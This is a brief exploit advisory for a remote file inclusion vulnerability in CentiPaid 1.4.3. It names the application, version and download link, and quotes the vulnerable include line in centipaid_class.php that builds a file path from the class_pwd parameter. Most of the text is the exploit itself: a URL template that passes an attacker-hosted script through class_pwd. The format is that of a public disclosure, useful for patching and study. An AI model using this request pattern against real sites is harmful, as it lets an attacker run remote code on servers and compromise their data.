Affected software description :
Application : CentiPaid
version : 1.4.3
URL : http://www.centipaid.com/centi/download/centipaid_php-1.4.3.tar.gz 

Code:centipaid_class.php

include($class_pwd.'/adodb/adodb.inc.php')


Exploit:

http://www.site.com/[path]/centipaid_class.php?class_pwd=[Evil_Script]